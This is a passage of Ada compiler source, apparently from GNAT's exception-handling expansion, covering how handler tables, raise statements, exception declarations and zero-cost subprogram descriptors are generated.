Exception_Handlers (HSS); Stms : constant List_Id := Statements (HSS); Handler : Node_Id; Hlist : List_Id; -- This is the list to which handlers are to be appended. It is -- either the list for the enclosing subprogram, or the enclosing -- selective accept statement (which will turn into a subprogram -- during expansion later on). L1 : constant Entity_Id := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('L')); L2 : constant Entity_Id := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('L')); Lnn : Entity_Id; Choice : Node_Id; E_Id : Node_Id; HR_Ent : Node_Id; HL_Ref : Node_Id; Item : Node_Id; Subp_Entity : Entity_Id; -- This is the entity for the subprogram (or library level package) -- to which the handler record is to be attached for later reference -- in a subprogram descriptor for this entity. procedure Append_To_Stms (N : Node_Id); -- Append given statement to the end of the statements of the -- handled sequence of statements and analyze it in place. function Inside_Selective_Accept return Boolean; -- This function is called if we are inside the scope of an entry -- or task. It checks if the handler is appearing in the context -- of a selective accept statement. If so, Hlist is set to -- temporarily park the handlers in the N_Accept_Alternative. -- node. They will subsequently be moved to the procedure entity -- for the procedure built for this alternative. The statements that -- follow the Accept within the alternative are not inside the Accept -- for purposes of this test, and handlers that may appear within -- them belong in the enclosing task procedure. procedure Set_Hlist; -- Sets the handler list corresponding to Subp_Entity -------------------- -- Append_To_Stms -- -------------------- procedure Append_To_Stms (N : Node_Id) is begin Insert_After_And_Analyze (Last (Stms), N); Set_Exception_Junk (N); end Append_To_Stms; ----------------------------- -- Inside_Selective_Accept -- ----------------------------- function Inside_Selective_Accept return Boolean is Parnt : Node_Id; Curr : Node_Id := HSS; begin Parnt := Parent (HSS); while Nkind (Parnt) /= N_Compilation_Unit loop if Nkind (Parnt) = N_Accept_Alternative and then Curr = Accept_Statement (Parnt) then if Present (Accept_Handler_Records (Parnt)) then Hlist := Accept_Handler_Records (Parnt); else Hlist := New_List; Set_Accept_Handler_Records (Parnt, Hlist); end if; return True; else Curr := Parnt; Parnt := Parent (Parnt); end if; end loop; return False; end Inside_Selective_Accept; --------------- -- Set_Hlist -- --------------- procedure Set_Hlist is begin -- Never try to inline a subprogram with exception handlers Set_Is_Inlined (Subp_Entity, False); if Present (Subp_Entity) and then Present (Handler_Records (Subp_Entity)) then Hlist := Handler_Records (Subp_Entity); else Hlist := New_List; Set_Handler_Records (Subp_Entity, Hlist); end if; end Set_Hlist; -- Start of processing for Expand_Exception_Handler_Tables begin -- Nothing to do if this handler has already been processed if Zero_Cost_Handling (HSS) then return; end if; Set_Zero_Cost_Handling (HSS); -- Find the parent subprogram or package scope containing this -- exception frame. This should always find a real package or -- subprogram. If it does not it will stop at Standard, but -- this cannot legitimately occur. -- We only stop at library level packages, for inner packages -- we always attach handlers to the containing procedure. Subp_Entity := Current_Scope; Scope_Loop : loop -- Never need tables expanded inside a generic template if Is_Generic_Unit (Subp_Entity) then return; -- Stop if we reached containing subprogram. Go to protected -- subprogram if there is one defined. elsif Ekind (Subp_Entity) = E_Function or else Ekind (Subp_Entity) = E_Procedure then if Present (Protected_Body_Subprogram (Subp_Entity)) then Subp_Entity := Protected_Body_Subprogram (Subp_Entity); end if; Set_Hlist; exit Scope_Loop; -- Case of within an entry elsif Is_Entry (Subp_Entity) then -- Protected entry, use corresponding body subprogram if Present (Protected_Body_Subprogram (Subp_Entity)) then Subp_Entity := Protected_Body_Subprogram (Subp_Entity); Set_Hlist; exit Scope_Loop; -- Check if we are within a selective accept alternative elsif Inside_Selective_Accept then -- As a side effect, Inside_Selective_Accept set Hlist, -- in much the same manner as Set_Hlist, except that -- the list involved was the one for the selective accept. exit Scope_Loop; end if; -- Case of within library level package elsif Ekind (Subp_Entity) = E_Package and then Is_Compilation_Unit (Subp_Entity) then if Is_Body_Name (Unit_Name (Get_Code_Unit (HSS))) then Subp_Entity := Body_Entity (Subp_Entity); end if; Set_Hlist; exit Scope_Loop; -- Task type case elsif Ekind (Subp_Entity) = E_Task_Type then -- Check if we are within a selective accept alternative if Inside_Selective_Accept then -- As a side effect, Inside_Selective_Accept set Hlist, -- in much the same manner as Set_Hlist, except that the -- list involved was the one for the selective accept. exit Scope_Loop; -- Stop if we reached task type with task body procedure, -- use the task body procedure. elsif Present (Get_Task_Body_Procedure (Subp_Entity)) then Subp_Entity := Get_Task_Body_Procedure (Subp_Entity); Set_Hlist; exit Scope_Loop; end if; end if; -- If we fall through, keep looking Subp_Entity := Scope (Subp_Entity); end loop Scope_Loop; pragma Assert (Subp_Entity /= Standard_Standard); -- Analyze standard labels Analyze_Label_Entity (L1); Analyze_Label_Entity (L2); Insert_Before_And_Analyze (First (Stms), Make_Label (Loc, Identifier => New_Occurrence_Of (L1, Loc))); Set_Exception_Junk (First (Stms)); Append_To_Stms ( Make_Label (Loc, Identifier => New_Occurrence_Of (L2, Loc))); -- Loop through exception handlers Handler := First_Non_Pragma (Handlrs); while Present (Handler) loop Set_Zero_Cost_Handling (Handler); -- Add label at start of handler, and goto at the end Lnn := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('L')); Analyze_Label_Entity (Lnn); Item := Make_Label (Loc, Identifier => New_Occurrence_Of (Lnn, Loc)); Set_Exception_Junk (Item); Insert_Before_And_Analyze (First (Statements (Handler)), Item); -- Loop through choices Choice := First (Exception_Choices (Handler)); while Present (Choice) loop -- Others (or all others) choice if Nkind (Choice) = N_Others_Choice then if All_Others (Choice) then E_Id := New_Occurrence_Of (RTE (RE_All_Others_Id), Loc); else E_Id := New_Occurrence_Of (RTE (RE_Others_Id), Loc); end if; -- Special case of VMS_Exception. Not clear what we will do -- eventually here if and when we implement zero cost exceptions -- on VMS. But at least for now, don't blow up trying to take -- a garbage code address for such an exception. elsif Is_VMS_Exception (Entity (Choice)) then E_Id := New_Occurrence_Of (RTE (RE_Null_Id), Loc); -- Normal case of specific exception choice else E_Id := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Entity (Choice), Loc), Attribute_Name => Name_Identity); end if; HR_Ent := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('H')); HL_Ref := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (HR_Ent, Loc), Attribute_Name => Name_Unrestricted_Access); -- Now we need to add the entry for the new handler record to -- the list of handler records for the current subprogram. -- Normally we end up generating the handler records in exactly -- the right order. Here right order means innermost first, -- since the table will be searched sequentially. Since we -- generally expand from outside to inside, the order is just -- what we want, and we need to append the new entry to the -- end of the list. -- However, there are exceptions, notably in the case where -- a generic body is inserted later on. See for example the -- case of ACVC test C37213J, which has the following form: -- generic package x ... end x; -- package body x is -- begin -- ... -- exception (1) -- ... -- end x; -- ... -- declare -- package q is new x; -- begin -- ... -- exception (2) -- ... -- end; -- In this case, we will expand exception handler (2) first, -- since the expansion of (1) is delayed till later when the -- generic body is inserted. But (1) belongs before (2) in -- the chain. -- Note that scopes are not totally ordered, because two -- scopes can be in parallel blocks, so that it does not -- matter what order these entries appear in. An ordering -- relation exists if one scope is inside another, and what -- we really want is some partial ordering. -- A simple, not very efficient, but adequate algorithm to -- achieve this partial ordering is to search the list for -- the first entry containing the given scope, and put the -- new entry just before it. declare New_Scop : constant Entity_Id := Current_Scope; Ent : Node_Id; begin Ent := First (Hlist); loop -- If all searched, then we can just put the new -- entry at the end of the list (it actually does -- not matter where we put it in this case). if No (Ent) then Append_To (Hlist, HL_Ref); exit; -- If the current scope is within the scope of the -- entry then insert the entry before to retain the -- proper order as per above discussion. -- Note that for equal entries, we just keep going, -- which is fine, the entry will end up at the end -- of the list where it belongs. elsif Scope_Within (New_Scop, Scope (Entity (Prefix (Ent)))) then Insert_Before (Ent, HL_Ref); exit; -- Otherwise keep looking else Next (Ent); end if; end loop; end; Item := Make_Object_Declaration (Loc, Defining_Identifier => HR_Ent, Constant_Present => True, Aliased_Present => True, Object_Definition => New_Occurrence_Of (RTE (RE_Handler_Record), Loc), Expression => Make_Aggregate (Loc, Expressions => New_List ( Make_Attribute_Reference (Loc, -- Lo Prefix => New_Occurrence_Of (L1, Loc), Attribute_Name => Name_Address), Make_Attribute_Reference (Loc, -- Hi Prefix => New_Occurrence_Of (L2, Loc), Attribute_Name => Name_Address), E_Id, -- Id Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Lnn, Loc), -- Handler Attribute_Name => Name_Address)))); Set_Handler_List_Entry (Item, HL_Ref); Set_Exception_Junk (Item); Insert_After_And_Analyze (Last (Statements (Handler)), Item); Set_Is_Statically_Allocated (HR_Ent); -- If this is a late insertion (from body instance) it is being -- inserted in the component list of an already analyzed aggre- -- gate, and must be analyzed explicitly. Analyze_And_Resolve (HL_Ref, RTE (RE_Handler_Record_Ptr)); Next (Choice); end loop; Next_Non_Pragma (Handler); end loop; end Expand_Exception_Handler_Tables; ------------------------------- -- Expand_Exception_Handlers -- ------------------------------- procedure Expand_Exception_Handlers (HSS : Node_Id) is Handlrs : constant List_Id := Exception_Handlers (HSS); Loc : Source_Ptr; Handler : Node_Id; Others_Choice : Boolean; Obj_Decl : Node_Id; procedure Prepend_Call_To_Handler (Proc : RE_Id; Args : List_Id := No_List); -- Routine to prepend a call to the procedure referenced by Proc at -- the start of the handler code for the current Handler. procedure Prepend_Call_To_Handler (Proc : RE_Id; Args : List_Id := No_List) is Call : constant Node_Id := Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (RTE (Proc), Loc), Parameter_Associations => Args); begin Prepend_To (Statements (Handler), Call); Analyze (Call, Suppress => All_Checks); end Prepend_Call_To_Handler; -- Start of processing for Expand_Exception_Handlers begin -- Loop through handlers Handler := First_Non_Pragma (Handlrs); while Present (Handler) loop Loc := Sloc (Handler); -- If an exception occurrence is present, then we must declare it -- and initialize it from the value stored in the TSD -- declare -- name : Exception_Occurrence; -- -- begin -- Save_Occurrence (name, Get_Current_Excep.all) -- ... -- end; if Present (Choice_Parameter (Handler)) then declare Cparm : constant Entity_Id := Choice_Parameter (Handler); Clc : constant Source_Ptr := Sloc (Cparm); Save : Node_Id; begin Save := Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (RTE (RE_Save_Occurrence), Loc), Parameter_Associations => New_List ( New_Occurrence_Of (Cparm, Clc), Make_Explicit_Dereference (Loc, Make_Function_Call (Loc, Name => Make_Explicit_Dereference (Loc, New_Occurrence_Of (RTE (RE_Get_Current_Excep), Loc)))))); Mark_Rewrite_Insertion (Save); Prepend (Save, Statements (Handler)); Obj_Decl := Make_Object_Declaration (Clc, Defining_Identifier => Cparm, Object_Definition => New_Occurrence_Of (RTE (RE_Exception_Occurrence), Clc)); Set_No_Initialization (Obj_Decl, True); Rewrite (Handler, Make_Exception_Handler (Loc, Exception_Choices => Exception_Choices (Handler), Statements => New_List ( Make_Block_Statement (Loc, Declarations => New_List (Obj_Decl), Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => Statements (Handler)))))); Analyze_List (Statements (Handler), Suppress => All_Checks); end; end if; -- The processing at this point is rather different for the -- JVM case, so we completely separate the processing. -- For the JVM case, we unconditionally call Update_Exception, -- passing a call to the intrinsic function Current_Target_Exception -- (see JVM version of Ada.Exceptions in 4jexcept.adb for details). if Hostparm.Java_VM then declare Arg : Node_Id := Make_Function_Call (Loc, Name => New_Occurrence_Of (RTE (RE_Current_Target_Exception), Loc)); begin Prepend_Call_To_Handler (RE_Update_Exception, New_List (Arg)); end; -- For the normal case, we have to worry about the state of abort -- deferral. Generally, we defer abort during runtime handling of -- exceptions. When control is passed to the handler, then in the -- normal case we undefer aborts. In any case this entire handling -- is relevant only if aborts are allowed! elsif Abort_Allowed then -- There are some special cases in which we do not do the -- undefer. In particular a finalization (AT END) handler -- wants to operate with aborts still deferred. -- We also suppress the call if this is the special handler -- for Abort_Signal, since if we are aborting, we want to keep -- aborts deferred (one abort is enough thank you very much :-) -- If abort really needs to be deferred the expander must add -- this call explicitly, see Exp_Ch9.Expand_N_Asynchronous_Select. Others_Choice := Nkind (First (Exception_Choices (Handler))) = N_Others_Choice; if (Others_Choice or else Entity (First (Exception_Choices (Handler))) /= Stand.Abort_Signal) and then not (Others_Choice and then All_Others (First (Exception_Choices (Handler)))) and then Abort_Allowed then Prepend_Call_To_Handler (RE_Abort_Undefer); end if; end if; Next_Non_Pragma (Handler); end loop; -- The last step for expanding exception handlers is to expand the -- exception tables if zero cost exception handling is active. if Exception_Mechanism = Front_End_ZCX then Expand_Exception_Handler_Tables (HSS); end if; end Expand_Exception_Handlers; ------------------------------------ -- Expand_N_Exception_Declaration -- ------------------------------------ -- Generates: -- exceptE : constant String := "A.B.EXCEP"; -- static data -- except : exception_data := ( -- Handled_By_Other => False, -- Lang => 'A', -- Name_Length => exceptE'Length -- Full_Name => exceptE'Address -- HTable_Ptr => null); -- (protecting test only needed if not at library level) -- -- exceptF : Boolean := True -- static data -- if exceptF then -- exceptF := False; -- Register_Exception (except'Unchecked_Access); -- end if; procedure Expand_N_Exception_Declaration (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Id : constant Entity_Id := Defining_Identifier (N); L : List_Id := New_List; Flag_Id : Entity_Id; Name_Exname : constant Name_Id := New_External_Name (Chars (Id), 'E'); Exname : constant Node_Id := Make_Defining_Identifier (Loc, Name_Exname); begin -- There is no expansion needed when compiling for the JVM since the -- JVM has a built-in exception mechanism. See 4jexcept.ads for details. if Hostparm.Java_VM then return; end if; -- Definition of the external name: nam : constant String := "A.B.NAME"; Insert_Action (N, Make_Object_Declaration (Loc, Defining_Identifier => Exname, Constant_Present => True, Object_Definition => New_Occurrence_Of (Standard_String, Loc), Expression => Make_String_Literal (Loc, Full_Qualified_Name (Id)))); Set_Is_Statically_Allocated (Exname); -- Create the aggregate list for type Standard.Exception_Type: -- Handled_By_Other component: False Append_To (L, New_Occurrence_Of (Standard_False, Loc)); -- Lang component: 'A' Append_To (L, Make_Character_Literal (Loc, Name_uA, Get_Char_Code ('A'))); -- Name_Length component: Nam'Length Append_To (L, Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Exname, Loc), Attribute_Name => Name_Length)); -- Full_Name component: Standard.A_Char!(Nam'Address) Append_To (L, Unchecked_Convert_To (Standard_A_Char, Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Exname, Loc), Attribute_Name => Name_Address))); -- HTable_Ptr component: null Append_To (L, Make_Null (Loc)); -- Import_Code component: 0 Append_To (L, Make_Integer_Literal (Loc, 0)); Set_Expression (N, Make_Aggregate (Loc, Expressions => L)); Analyze_And_Resolve (Expression (N), Etype (Id)); -- Register_Exception (except'Unchecked_Access); if not Restrictions (No_Exception_Handlers) then L := New_List ( Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (RTE (RE_Register_Exception), Loc), Parameter_Associations => New_List ( Unchecked_Convert_To (RTE (RE_Exception_Data_Ptr), Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Id, Loc), Attribute_Name => Name_Unrestricted_Access))))); Set_Register_Exception_Call (Id, First (L)); if not Is_Library_Level_Entity (Id) then Flag_Id := Make_Defining_Identifier (Loc, New_External_Name (Chars (Id), 'F')); Insert_Action (N, Make_Object_Declaration (Loc, Defining_Identifier => Flag_Id, Object_Definition => New_Occurrence_Of (Standard_Boolean, Loc), Expression => New_Occurrence_Of (Standard_True, Loc))); Set_Is_Statically_Allocated (Flag_Id); Append_To (L, Make_Assignment_Statement (Loc, Name => New_Occurrence_Of (Flag_Id, Loc), Expression => New_Occurrence_Of (Standard_False, Loc))); Insert_After_And_Analyze (N, Make_Implicit_If_Statement (N, Condition => New_Occurrence_Of (Flag_Id, Loc), Then_Statements => L)); else Insert_List_After_And_Analyze (N, L); end if; end if; end Expand_N_Exception_Declaration; --------------------------------------------- -- Expand_N_Handled_Sequence_Of_Statements -- --------------------------------------------- procedure Expand_N_Handled_Sequence_Of_Statements (N : Node_Id) is begin if Present (Exception_Handlers (N)) then Expand_Exception_Handlers (N); end if; -- The following code needs comments ??? if Nkind (Parent (N)) /= N_Package_Body and then Nkind (Parent (N)) /= N_Accept_Statement and then not Delay_Cleanups (Current_Scope) then Expand_Cleanup_Actions (Parent (N)); else Set_First_Real_Statement (N, First (Statements (N))); end if; end Expand_N_Handled_Sequence_Of_Statements; ------------------------------------- -- Expand_N_Raise_Constraint_Error -- ------------------------------------- -- The only processing required is to adjust the condition to deal -- with the C/Fortran boolean case. This may well not be necessary, -- as all such conditions are generated by the expander and probably -- are all standard boolean, but who knows what strange optimization -- in future may require this adjustment! procedure Expand_N_Raise_Constraint_Error (N : Node_Id) is begin Adjust_Condition (Condition (N)); end Expand_N_Raise_Constraint_Error; ---------------------------------- -- Expand_N_Raise_Program_Error -- ---------------------------------- -- The only processing required is to adjust the condition to deal -- with the C/Fortran boolean case. This may well not be necessary, -- as all such conditions are generated by the expander and probably -- are all standard boolean, but who knows what strange optimization -- in future may require this adjustment! procedure Expand_N_Raise_Program_Error (N : Node_Id) is begin Adjust_Condition (Condition (N)); end Expand_N_Raise_Program_Error; ------------------------------ -- Expand_N_Raise_Statement -- ------------------------------ procedure Expand_N_Raise_Statement (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Ehand : Node_Id; E : Entity_Id; Str : String_Id; begin -- There is no expansion needed for statement "raise <exception>;" when -- compiling for the JVM since the JVM has a built-in exception -- mechanism. However we need the keep the expansion for "raise;" -- statements. See 4jexcept.ads for details. if Present (Name (N)) and then Hostparm.Java_VM then return; end if; -- Convert explicit raise of Program_Error, Constraint_Error, and -- Storage_Error into the corresponding raise node (in No_Run_Time -- mode all other raises will get normal expansion and be disallowed, -- but this is also faster in all modes). if Present (Name (N)) and then Nkind (Name (N)) = N_Identifier then if Entity (Name (N)) = Standard_Program_Error then Rewrite (N, Make_Raise_Program_Error (Loc)); Analyze (N); return; elsif Entity (Name (N)) = Standard_Constraint_Error then Rewrite (N, Make_Raise_Constraint_Error (Loc)); Analyze (N); return; elsif Entity (Name (N)) = Standard_Storage_Error then Rewrite (N, Make_Raise_Storage_Error (Loc)); Analyze (N); return; end if; end if; -- Case of name present, in this case we expand raise name to -- Raise_Exception (name'Identity, location_string); -- where location_string identifies the file/line of the raise if Present (Name (N)) then declare Id : Entity_Id := Entity (Name (N)); begin Build_Location_String (Loc); -- Build a C compatible string in case of no exception handlers, -- since this is what the last chance handler is expecting. if Restrictions (No_Exception_Handlers) then -- Generate a C null message when Global_Discard_Names is True -- or when Debug_Flag_NN is set. if Global_Discard_Names or else Debug_Flag_NN then Name_Buffer (1) := ASCII.NUL; Name_Len := 1; else Name_Len := Name_Len + 1; end if; -- Do not generate the message when Global_Discard_Names is True -- or when Debug_Flag_NN is set. elsif Global_Discard_Names or else Debug_Flag_NN then Name_Len := 0; end if; Str := String_From_Name_Buffer; -- For VMS exceptions, convert the raise into a call to -- lib$stop so it will be handled by __gnat_error_handler. if Is_VMS_Exception (Id) then declare Excep_Image : String_Id; Cond : Node_Id; begin if Present (Interface_Name (Id)) then Excep_Image := Strval (Interface_Name (Id)); else Get_Name_String (Chars (Id)); Set_All_Upper_Case; Excep_Image := String_From_Name_Buffer; end if; if Exception_Code (Id) /= No_Uint then Cond := Make_Integer_Literal (Loc, Exception_Code (Id)); else Cond := Unchecked_Convert_To (Standard_Integer, Make_Function_Call (Loc, Name => New_Occurrence_Of (RTE (RE_Import_Value), Loc), Parameter_Associations => New_List (Make_String_Literal (Loc, Strval => Excep_Image)))); end if; Rewrite (N, Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (RTE (RE_Lib_Stop), Loc), Parameter_Associations => New_List (Cond))); Analyze_And_Resolve (Cond, Standard_Integer); end; -- Not VMS exception case, convert raise to call to the -- Raise_Exception routine. else Rewrite (N, Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (RTE (RE_Raise_Exception), Loc), Parameter_Associations => New_List ( Make_Attribute_Reference (Loc, Prefix => Name (N), Attribute_Name => Name_Identity), Make_String_Literal (Loc, Strval => Str)))); end if; end; -- Case of no name present (reraise). We rewrite the raise to: -- Reraise_Occurrence_Always (EO); -- where EO is the current exception occurrence. If the current handler -- does not have a choice parameter specification, then we provide one. else -- Find innermost enclosing exception handler (there must be one, -- since the semantics has already verified that this raise statement -- is valid, and a raise with no arguments is only permitted in the -- context of an exception handler. Ehand := Parent (N); while Nkind (Ehand) /= N_Exception_Handler loop Ehand := Parent (Ehand); end loop; -- Make exception choice parameter if none present. Note that we do -- not need to put the entity on the entity chain, since no one will -- be referencing this entity by normal visibility methods. if No (Choice_Parameter (Ehand)) then E := Make_Defining_Identifier (Loc, New_Internal_Name ('E')); Set_Choice_Parameter (Ehand, E); Set_Ekind (E, E_Variable); Set_Etype (E, RTE (RE_Exception_Occurrence)); Set_Scope (E, Current_Scope); end if; -- Now rewrite the raise as a call to Reraise. A special case arises -- if this raise statement occurs in the context of a handler for -- all others (i.e. an at end handler). in this case we avoid -- the call to defer abort, cleanup routines are expected to be -- called in this case with aborts deferred. declare Ech : constant Node_Id := First (Exception_Choices (Ehand)); Ent : Entity_Id; begin if Nkind (Ech) = N_Others_Choice and then All_Others (Ech) then Ent := RTE (RE_Reraise_Occurrence_No_Defer); else Ent := RTE (RE_Reraise_Occurrence_Always); end if; Rewrite (N, Make_Procedure_Call_Statement (Loc, Name => New_Occurrence_Of (Ent, Loc), Parameter_Associations => New_List ( New_Occurrence_Of (Choice_Parameter (Ehand), Loc)))); end; end if; Analyze (N); end Expand_N_Raise_Statement; ---------------------------------- -- Expand_N_Raise_Storage_Error -- ---------------------------------- -- The only processing required is to adjust the condition to deal -- with the C/Fortran boolean case. This may well not be necessary, -- as all such conditions are generated by the expander and probably -- are all standard boolean, but who knows what strange optimization -- in future may require this adjustment! procedure Expand_N_Raise_Storage_Error (N : Node_Id) is begin Adjust_Condition (Condition (N)); end Expand_N_Raise_Storage_Error; ------------------------------ -- Expand_N_Subprogram_Info -- ------------------------------ procedure Expand_N_Subprogram_Info (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); begin -- For now, we replace an Expand_N_Subprogram_Info node with an -- attribute reference that gives the address of the procedure. -- This is because gigi does not yet recognize this node, and -- for the initial targets, this is the right value anyway. Rewrite (N, Make_Attribute_Reference (Loc, Prefix => Identifier (N), Attribute_Name => Name_Code_Address)); Analyze_And_Resolve (N, RTE (RE_Code_Loc)); end Expand_N_Subprogram_Info; ------------------------------------ -- Generate_Subprogram_Descriptor -- ------------------------------------ procedure Generate_Subprogram_Descriptor (N : Node_Id; Loc : Source_Ptr; Spec : Entity_Id; Slist : List_Id) is Code : Node_Id; Ent : Entity_Id; Decl : Node_Id; Dtyp : Entity_Id; Numh : Nat; Sdes : Node_Id; Hrc : List_Id; begin if Exception_Mechanism /= Front_End_ZCX then return; end if; -- Suppress descriptor if we are not generating code. This happens -- in the case of a -gnatc -gnatt compilation where we force generics -- to be generated, but we still don't want exception tables. if Operating_Mode /= Generate_Code then return; end if; -- Suppress descriptor if we are in No_Exceptions restrictions mode, -- since we can never propagate exceptions in any case in this mode. -- The same consideration applies for No_Exception_Handlers (which -- is also set in No_Run_Time mode). if Restrictions (No_Exceptions) or Restrictions (No_Exception_Handlers) then return; end if; -- Suppress descriptor if we are inside a generic. There are two -- ways that we can tell that, depending on what is going on. If -- we are actually inside the processing for a generic right now, -- then Expander_Active will be reset. If we are outside the -- generic, then we will see the generic entity. if not Expander_Active then return; end if; -- Suppress descriptor is subprogram is marked as eliminated, for -- example if this is a subprogram created to analyze a default -- expression with potential side effects. Ditto if it is nested -- within an eliminated subprogram, for example a cleanup action. declare Scop : Entity_Id; begin Scop := Spec; while Scop /= Standard_Standard loop if Ekind (Scop) = E_Generic_Procedure or else Ekind (Scop) = E_Generic_Function or else Ekind (Scop) = E_Generic_Package or else Is_Eliminated (Scop) then return; end if; Scop := Scope (Scop); end loop; end; -- Suppress descriptor for original protected subprogram (we will -- be called again later to generate the descriptor for the actual -- protected body subprogram.) This does not apply to barrier -- functions which are there own protected subprogram. if Is_Subprogram (Spec) and then Present (Protected_Body_Subprogram (Spec)) and then Protected_Body_Subprogram (Spec) /= Spec then return; end if; -- Suppress descriptors for packages unless they have at least one -- handler. The binder will generate the dummy (no handler) descriptors -- for elaboration procedures. We can't do it here, because we don't -- know if an elaboration routine does in fact exist. -- If there is at least one handler for the package spec or body -- then most certainly an elaboration routine must exist, so we -- can safely reference it. if (Nkind (N) = N_Package_Declaration or else Nkind (N) = N_Package_Body) and then No (Handler_Records (Spec)) then return; end if; -- Suppress all subprogram descriptors for the file System.Exceptions. -- We similarly suppress subprogram descriptors for Ada.Exceptions. -- These are all init_proc's for types which cannot raise exceptions. -- The reason this is done is that otherwise we get embarassing -- elaboration dependencies. Get_Name_String (Unit_File_Name (Current_Sem_Unit)); if Name_Buffer (1 .. 12) = "s-except.ads" or else Name_Buffer (1 .. 12) = "a-except.ads" then return; end if; -- Similarly, we need to suppress entries for System.Standard_Library, -- since otherwise we get elaboration circularities. Again, this would -- better be done with a Suppress_Initialization pragma :-) if Name_Buffer (1 .. 11) = "s-stalib.ad" then return; end if; -- For now, also suppress entries for s-stoele because we have -- some kind of unexplained error there ??? if Name_Buffer (1 .. 11) = "s-stoele.ad" then return; end if; -- And also for g-htable, because it cannot raise exceptions, -- and generates some kind of elaboration order problem. if Name_Buffer (1 .. 11) = "g-htable.ad" then return; end if; -- Suppress subprogram descriptor if already generated. This happens -- in the case of late generation from Delay_Subprogram_Descriptors -- beging set (where there is more than one instantiation in the list) if Has_Subprogram_Descriptor (Spec) then return; else Set_Has_Subprogram_Descriptor (Spec); end if; -- Never generate descriptors for inlined bodies if Analyzing_Inlined_Bodies then return; end if; -- Here we definitely are going to generate a subprogram descriptor declare Hnum : Nat := Homonym_Number (Spec); begin if Hnum = 1 then Hnum := 0; end if; Ent := Make_Defining_Identifier (Loc, Chars => New_External_Name (Chars (Spec), "SD", Hnum)); end; if No (Handler_Records (Spec)) then Hrc := Empty_List; Numh := 0; else Hrc := Handler_Records (Spec); Numh := List_Length (Hrc); end if; New_Scope (Spec); -- We need a static subtype for the declaration of the subprogram -- descriptor. For the case of 0-3 handlers we can use one of the -- predefined subtypes in System.Exceptions. For more handlers, -- we build our own subtype here. case Numh is when 0 => Dtyp := RTE (RE_Subprogram_Descriptor_0); when 1 => Dtyp := RTE (RE_Subprogram_Descriptor_1); when 2 => Dtyp := RTE (RE_Subprogram_Descriptor_2); when 3 => Dtyp := RTE (RE_Subprogram_Descriptor_3); when others => Dtyp := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('T')); -- Set the constructed type as global, since we will be -- referencing the object that is of this type globally Set_Is_Statically_Allocated (Dtyp); Decl := Make_Subtype_Declaration (Loc, Defining_Identifier => Dtyp, Subtype_Indication => Make_Subtype_Indication (Loc, Subtype_Mark => New_Occurrence_Of (RTE (RE_Subprogram_Descriptor), Loc), Constraint => Make_Index_Or_Discriminant_Constraint (Loc, Constraints => New_List ( Make_Integer_Literal (Loc, Numh))))); Append (Decl, Slist); -- We analyze the descriptor for the subprogram and package -- case, but not for the imported subprogram case (it will -- be analyzed when the freeze entity actions are analyzed. if Present (N) then Analyze (Decl); end if; Set_Exception_Junk (Decl); end case; -- Prepare the code address entry for the table entry. For the normal -- case of being within a procedure, this is simply: -- P'Code_Address -- where P is the procedure, but for the package case, it is -- P'Elab_Body'Code_Address -- P'Elab_Spec'Code_Address -- for the body and spec respectively. Note that we do our own -- analysis of these attribute references, because we know in this -- case that the prefix of ELab_Body/Spec is a visible package, -- which can be referenced directly instead of using the general -- case expansion for these attributes. if Ekind (Spec) = E_Package then Code := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Spec, Loc), Attribute_Name => Name_Elab_Spec); Set_Etype (Code, Standard_Void_Type); Set_Analyzed (Code); elsif Ekind (Spec) = E_Package_Body then Code := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Spec_Entity (Spec), Loc), Attribute_Name => Name_Elab_Body); Set_Etype (Code, Standard_Void_Type); Set_Analyzed (Code); else Code := New_Occurrence_Of (Spec, Loc); end if; Code := Make_Attribute_Reference (Loc, Prefix => Code, Attribute_Name => Name_Code_Address); Set_Etype (Code, RTE (RE_Address)); Set_Analyzed (Code); -- Now we can build the subprogram descriptor Sdes := Make_Object_Declaration (Loc, Defining_Identifier => Ent, Constant_Present => True, Aliased_Present => True, Object_Definition => New_Occurrence_Of (Dtyp, Loc), Expression => Make_Aggregate (Loc, Expressions => New_List ( Make_Integer_Literal (Loc, Numh), -- Num_Handlers Code, -- Code -- temp code ??? -- Make_Subprogram_Info (Loc, -- Subprogram_Info -- Identifier => -- New_Occurrence_Of (Spec, Loc)), New_Copy_Tree (Code), Make_Aggregate (Loc, -- Handler_Records Expressions => Hrc)))); Set_Exception_Junk (Sdes); Set_Is_Subprogram_Descriptor (Sdes); Append (Sdes, Slist); -- We analyze the descriptor for the subprogram and package case, -- but not for the imported subprogram case (it will be analyzed -- when the freeze entity actions are analyzed. if Present (N) then Analyze (Sdes); end if; -- We can now pop the scope used for analyzing the descriptor Pop_Scope; -- We need to set the descriptor as statically allocated, since -- it will be referenced from the unit exception table. Set_Is_Statically_Allocated (Ent); -- Append the resulting descriptor to the list. We do this only -- if we are in the main unit. You might think that we could -- simply skip generating the descriptors completely if we are -- not in the main unit, but in fact this is not the case, since -- we have problems with inconsistent serial numbers for internal -- names if we do this. if In_Extended_Main_Code_Unit (Spec) then Append_To (SD_List, Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Ent, Loc), Attribute_Name => Name_Unrestricted_Access)); Unit_Exception_Table_Present := True; end if; end Generate_Subprogram_Descriptor; ------------------------------------------------------------ -- Generate_Subprogram_Descriptor_For_Imported_Subprogram -- ------------------------------------------------------------ procedure Generate_Subprogram_Descriptor_For_Imported_Subprogram (Spec : Entity_Id; Slist : 